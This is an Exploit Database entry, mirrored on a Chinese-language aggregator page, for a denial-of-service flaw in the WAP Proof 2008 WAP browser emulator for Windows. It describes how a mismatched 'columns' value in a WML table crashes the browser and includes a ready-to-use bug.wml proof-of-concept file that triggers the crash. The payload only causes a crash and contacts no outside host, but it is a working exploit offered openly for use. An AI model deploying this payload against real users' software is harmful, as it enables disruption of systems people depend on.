WAP Proof 2008 – Denial of Service

• Exploit Database
• 18 阅读

• 作者： Orion Einfold
  日期： 2012-09-08
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/21147/

• [] Description : 
  
  WAP Proof is an universal emulator of a WAP browser for Microsoft Windows. It is designed for the preview and debugging of mobile websites and provide support for WML, XHTML, cHTML and HTML pages and a compatible GSM modems, such as Wavecom, Alcatel, Motorola, Nokia, Siemens, Sagem, Sony Ericsson .. etc.
  Vendor Homepage: http://www.wap-proof.com/
  
  [] Technical details:
  
  The <td> and <tr> tags defines a table row or a standard cell in a HTML table alongwith the column="" attribute in the <table> element
  and any incorrect integer value for column attribute that not fitt for the enumeration of tags may usually cause to crash the browser.
  
  
  
  [] POC to /bug.wml:
  
  
  <?xml version="1.0" encoding="utf-8"?> 
  
  <wml><card id="orion" title="einfold">
  <p><table title="Tab" columns="1" align="LCR" class="AAA" id="AAA">
  <tr><td>one</td><td>two</td><td>three</td></tr>
  </table></p></card></wml> 
  
  <!-- Orion Einfold -->